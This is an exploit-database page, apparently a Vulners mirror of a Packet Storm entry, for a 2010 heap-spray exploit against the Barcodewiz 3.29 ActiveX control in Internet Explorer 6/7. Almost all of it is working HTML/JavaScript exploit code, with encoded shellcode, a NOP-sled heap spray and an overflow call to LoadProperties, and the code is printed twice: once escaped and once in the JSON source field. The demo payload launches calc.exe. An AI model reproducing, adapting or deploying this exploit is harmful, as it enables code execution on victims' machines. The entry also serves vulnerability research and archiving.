Search...

Barcodewiz 3.29 Barcode Active-X Control Heap Spray

2010-08-03T00:00:00

ID PACKETSTORM:92306
Type packetstorm
Reporter Dr_IDE
Modified 2010-08-03T00:00:00

Description

                                        
                                            `&lt;!--  
Title: Barcodewiz 3.29 ActiveX Heap Spray Exploit  
Coded By: Dr_IDE  
Found By: loneferret  
Tested: Windows XP SP3 on IE6 + IE7  
Date: July, 30 2010  
--&gt;  
&lt;html&gt;  
&lt;object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'&gt;&lt;/object&gt;  
&lt;script language='javascript'&gt;  
  
// Payload is win32_exec - calc.exe   
  
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+   
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+   
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+   
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+   
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+   
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+   
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+   
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');   
  
nops=unescape('%u9090%u9090');   
headersize = 69; //size adjusted for IE6/IE7 "universality"  
slackspace= headersize + shellcode.length;  
while(nops.length&lt;slackspace) nops+=nops;  
fillblock=nops.substring(0,slackspace);  
block=nops.substring(0,nops.length-slackspace);  
while(block.length+slackspace&lt;0x40000) block=block+block+fillblock;  
memory=new Array();  
for( counter=0; counter&lt;250; counter++) memory[counter]= block + shellcode;   
ret='';  
for( counter=0; counter&lt;=1000; counter++) ret+=unescape("%0a%0a%0a%0a");   
  
target.LoadProperties(ret);  
&lt;/script&gt;  
&lt;/html&gt;  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:92306", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Barcodewiz 3.29 Barcode Active-X Control Heap Spray", "description": "", "published": "2010-08-03T00:00:00", "modified": "2010-08-03T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/92306/Barcodewiz-3.29-Barcode-Active-X-Control-Heap-Spray.html", "reporter": "Dr_IDE", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:21:35", "viewCount": 1, "enchantments": {"score": {"value": 0.0, "vector": "NONE", "modified": "2016-11-03T10:21:35", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:21:35", "rev": 2}, "vulnersScore": 0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/92306/bcw-heapspray.txt", "sourceData": "` \n<html> \n<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object> \n<script language='javascript'> \n \n// Payload is win32_exec - calc.exe \n \nshellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ \n'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ \n'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ \n'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ \n'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ \n'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ \n'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ \n'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); \n \nnops=unescape('%u9090%u9090'); \nheadersize = 69; //size adjusted for IE6/IE7 \"universality\" \nslackspace= headersize + shellcode.length; \nwhile(nops.length<slackspace) nops+=nops; \nfillblock=nops.substring(0,slackspace); \nblock=nops.substring(0,nops.length-slackspace); \nwhile(block.length+slackspace<0x40000) block=block+block+fillblock; \nmemory=new Array(); \nfor( counter=0; counter<250; counter++) memory[counter]= block + shellcode; \nret=''; \nfor( counter=0; counter<=1000; counter++) ret+=unescape(\"%0a%0a%0a%0a\"); \n \ntarget.LoadProperties(ret); \n</script> \n</html> \n \n`\n", "immutableFields": []}